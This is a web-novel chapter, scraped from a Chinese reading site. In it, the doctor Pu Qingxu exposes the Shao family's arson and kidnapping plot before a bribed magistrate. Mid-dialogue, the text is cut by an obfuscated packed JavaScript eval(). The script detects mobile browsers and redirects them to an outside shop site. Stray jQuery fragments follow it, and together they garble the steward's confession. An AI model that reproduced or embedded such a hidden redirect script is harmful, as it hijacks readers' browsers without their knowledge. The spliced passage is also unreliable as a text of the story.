默认冷灰
24号文字
方正启体

10. 审问

作者:沐辰冰本书字数:K更新时间:
    杜理全不悦地看向蒲清许,刚才什么话都没说,现在结案了横插一脚。


    蒲清许没看杜理全,直接发问:“有人见你昨日去买了酒,没钱被人赶了出来,今日你身上的酒味却是玉泉春,你如何买得起三两银子的玉泉春?”


    玉泉春是酒肆的招牌,蒲清许对这个味道很是熟悉。


    “我攒的,昨天只是没带钱。”钱六还想狡辩。


    “蒲姑娘,钱六已经承认了。”杜理全还想借机将案子还回去,就此了结


    多一事不如少一事。


    “整日无所事事,都被逼的入室盗窃,哪来的钱。”蒲清许继续问:“还不从实招来。”


    蒲清许直直看向钱六,一枚银针在法术的掩饰下,悄无声息进入钱六体内。


    “我问,你答。谁让你烧得院子。”


    “蒲姑娘,你——”


    一个激灵,钱六酒意彻底清醒:“是……是邵家的一个管事,让我给蒲大夫一个教训,说她不识好歹。”


    “哪个邵家?”


    “开药铺的邵家。”


    她也大概猜到是谁干的。


    狗皮膏药,死性不改。


    “你怎么认识的邵家管事?”


    “我去院子里偷东西,遇到另一伙人,我偷听到他们说……”


    死嘴,快住嘴!


    钱六脸上的表情逐渐变得惊恐,他怎么全说出来了。


    杜理全没想到一个小案子还另有隐情,催促道:“他们说什么?”


    “说要绑架蒲大夫。”


    又是熟悉的绑架。


    “这伙人是谁?”


    “是邵府管家,虽然他说姓许,我去酒肆买酒的时候见过,不会错的。”


    姓许?


    赵媒婆介绍的人也姓许。


    蒲清许问:“怎么会放火?”


    钱六眼睛一闭心一横,干脆如倒豆子般全部说了出来:“邵家管事找了人来绑架蒲姑娘,说是要演一出英雄救美。


    到时候邵少爷神兵天降,打退一众‘绑匪’,让蒲姑娘死心塌地愿意跟着他家少东家。”


    上次绑架后来没了动静,蒲清许还以为邵斌放弃了,结果是升级了。


    “然后呢?”杜理全脑子疯狂转动,这个邵家少爷究竟是哪个?


    “我们进门时,不小心触动了机关,留下了不少痕迹,一查就能查到我头上,他们没踩点,不知道蒲大夫上山采药去了,我也没找到钱,邵管家临时起意,说干脆一不做二不休,直接一把火烧了,就留不下痕迹,也让蒲大夫无家可归,一举两得。”


    蒲清许出门时,用法术设计了几个小机关,还是没防住。


    “邵管家人也大方,让我倒油点火,事后给了我三十两银子。”


    他就是这么墙头草。


    那句话怎么说来着:识时务者为……好汉。


    他不是好汉,也不算孬种。


    没想到装桐油的桶被邵管家当作把柄留下,钱六算不得无辜,却也当了替罪羊。


    “杜大人,要传邵家人前来问话吗?”蒲清许用了些功德为代价,让钱六吐出实话,这才理清前因后果。


    看这所谓的父母官能不能为民做主?


    如此心狠手辣,恣意妄为之辈,要是不能,蒲清许也不介意替天行道。


    “去传邵府管家和少爷。”


    杜理全想起来了,邵家与吏部侍郎有姻亲,吏部负责升迁考核,这如何处置邵家和邵少爷还需反复斟酌。


    官差去请人时,邵斌还在温柔乡里睡着,迷迷糊糊不知发生了什么。


    从从容容起身,穿好衣服,邵斌慢悠悠地走向备好的轿子,出发前往纵火案现场。


    “就是他,邵府管家。”人刚到,钱六激动地指向一名四十出头的男子。


    “你是谁?我可不认识你。”邵管家嫌弃地瞥了一眼满身酒气的钱六。


    “哎,你这人真不要脸,我们昨晚还见过。”


    邵管家压根不想理会钱六。


    邵斌自幼是邵管家看着长大,管家没有亲子,邵斌的一切要求,管家全都尽心尽力满足。


    邵管家的计划本来是,等蒲清许一个弱女子茫然无措,孤零零地站在废墟旁时,他家少爷出现,为蒲姑娘披上斗篷,安慰并承诺给她一个家,蒲姑娘感动至极,以身相许,圆满结局。


    奈何计划赶不上变化。


    蒲清许比意料之中回来得更早,而邵斌早晨更是起不来床。


    “杜大人,蒲姑娘。”邵斌用手中折扇打开轿帘,露出一个自以为俊美的笑,脸上的粉盖不住眼下青色眼圈。


    杜理全开门见山:“钱六指控你们二人,绑架未遂,纵火烧屋,你二人可有话说。”


    “大人明鉴,我等与蒲姑娘无冤无仇。”


    “就是,蒲姑娘这等美人只可远观,不可亵玩,我珍视还来不及呢,恨不得捧在手心里,怎么会伤害他呢!”


    邵斌最爱看高岭之花跌落神坛。


    蒲清许厌恶皱眉。


    贼心不死。


    她完全理解不了那些人的想法。


    糟心。


    众人被邵斌不要脸皮的话吸引了注意,邵管家借机将杜理全拉到一旁,“杜大人,借一步说话。”


    “小小心意,还请笑纳。”邵管家的诚意藏在轿中。


    “本官可是清官。”杜理全义正言辞。


    “大人当然是好官,”邵管家再次加码。“而且沈修贤沈大人对我家少爷多有照拂,还请大人不看僧面看佛面,收下我家少爷这微不足道的心意。”


    杜理全看向轿中,了然一笑:“本官自会秉公办理。”


    五百两黄金微不足道。


    “钱六,你口说无凭,可还有别的证据?”杜理全继续审问。


    “这——大人,我知道的都说了。”钱六本以为自己老实交代能从轻发落,谁成想,嫌疑又转回自己身上。


    “你身有嫌疑,自然不能信你空口无凭。”


    “大人,我有证据。”蒲清许不愿这么草草结案。


    “我是大夫,我的院中有一味奇特药材,但凡来过,就能留下痕迹。”


    “哦?是吗?”


    蒲清许将粉状物体撒到钱六身上,钱六周身出现悠悠蓝光。


    众人吓了一跳,远离钱六。


    钱六强装镇定,实则人已经走了有一会了。


    救命!


    “鬼啊,我错了,我错了。”


    邵斌慌了神,这种情况他没提前演练过。


    怎么办?


    邵管家也慌了神,深吸一口气;“是我做的。”


    “一人做事一人当,是我被猪油蒙了心,妄想为主子做主,愿领刑法,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341800|199373||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    只是我家主子毫不知情,就算要罚,也该依律从轻发落。”邵管家跪在一旁,还不忘为邵斌脱罪。


    “等等,不是说能交钱减刑嘛,多少钱,本少爷出了。”邵斌想起来时路上邵管家的叮嘱。


    “依律,确实能赎刑。”杜理全附和。


    赎刑,以钱代罚,犯人缴纳足够银钱便能免除刑罚。


    难怪邵斌有恃无恐,原来是惯犯。


    这朝廷官员也不过如此,一群酒囊饭袋,欺软怕硬之辈。


    蒲清许眉头紧皱,对结果不甚满意。


    官府处理不了,她也可以处理,不过是损失些功德罢了。


    “蒲姑娘,我先打道回府,钱随后送来,下次再会。”邵斌笑地得意,还不忘扭头看向一脸漠然的蒲清许。


    还没走两步,邵斌就被人按住。


    “拿下。”


    来人正是先前打过交道的谢昭戈。


    谢昭戈今日一身金吾卫装扮,直接派人按住了还在叫嚣的邵斌。


    “你——”杜理全定睛一看,居然惊动了金吾卫,“谢大人来此,有何贵干。”


    金吾卫为帝王近卫,有一切案件优先权,杜理全一个头两个大。


    蒲清许今日受了刺激,萧妄临暂时不想暴露身份,京兆尹自然是见过圣上,他不方便出面。


    自然是谢昭戈出面:“杜大人辛苦,天子脚下,京畿之内,竟有人罔顾律法,公然纵火,这自然也归我们金吾卫接手。”


    谢昭戈毫不客气,做出请的手势:“杜大人请吧。”


    官大一级压死人。


    更何况,杜理全谁也不想得罪,顺势滚坡下驴,带着他那队官差离开。


    “依律,烧人屋舍,徒三年;伤人者,流放三千里,不能赎刑。”


    蒲清许吃了没文化的亏,她不懂律例。


    “蒲大夫,你看如何?”谢昭戈问。


    蒲清许对官府之人没什么好印象,默认谢昭戈处理的结果。


    谢昭戈不着痕迹看了眼,萧妄临默不作声但脸色阴沉,周围空气仿佛凝固。


    这下邵家完了。


    冰冷的手被人抓住,手掌宽大有力,交叠的暖意让蒲清许回过神来。


    “清许,清许。”没有听见蒲清许出声,萧妄临坐在轮椅上,伸出手够到蒲清许。


    他错了,他应该留几个暗卫,所有一切都应在他的掌控中。


    蒲清许看向萧妄临有些后怕:“幸好没将你一人留下,不然怕是凶多吉少。”


    “他们会付出代价。”低沉磁性的嗓音响起,冷意凛然。


    秋后的蚂蚱竟是蹦了半天来恶心人。


    “会付出代价。”蒲清许神情冷漠,似高山上万年不化的冰雪,就算天道要罚她也受着。


    又是一次无妄之灾,就好像背后有推手操纵这一切。


    谢昭戈摇了摇头;邵家算什么东西,敢在这位面前撒野。


    底气不过是邵家借姻亲攀上了吏部侍郎的高枝。


    “吏部侍郎沈修贤治家不严,罚俸一年,外派岭南。”萧妄临传音吩咐暗一。“杜理全也跟着去。”


    京官外放,平调亦是不得圣心,自此远离权利中心,不再重用。


    “邵家会照价赔偿,官府也有相应的补偿。”


    萧妄临问:“重新安顿之前,清许想暂住哪里?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)